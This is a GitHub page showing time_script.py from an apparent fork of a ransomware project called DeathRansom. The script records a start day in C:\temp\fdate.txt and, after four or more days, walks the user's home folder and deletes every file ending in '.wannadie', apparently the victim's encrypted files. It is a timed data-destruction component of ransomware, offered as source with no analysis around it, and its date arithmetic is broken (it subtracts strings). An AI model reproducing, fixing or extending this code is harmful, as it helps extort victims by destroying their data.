forked from jorgetstechnology/DeathRansom
-
Notifications
You must be signed in to change notification settings - Fork 0
/
time_script.py
29 lines (27 loc) · 881 Bytes
/
time_script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from datetime import date
import os
def files2crypt(path):
allFiles = []
for root, subfiles, files in os.walk(path):
for names in files:
allFiles.append(os.path.join(root, names))
return allFiles
try:
with open('C:\\temp\\fdate.txt', 'r') as in_file:
fday = in_file.read()
in_file.close()
except:
fdate = date.today().strftime("%d")
with open('C:\\temp\\fdate.txt','w') as in_file:
in_file.write(fdate)
in_file.close()
else:
data = date.today().strftime("%d")
restante = data-fday
if restante >= 4:
enc_files = files2crypt('C:\\Users\\{}'.format(os.getenv('username')))
for file_pnt in enc_files:
if os.path.basename(file_pnt).endswith(".wannadie"):
os.remove(str(file_pnt))
else:
pass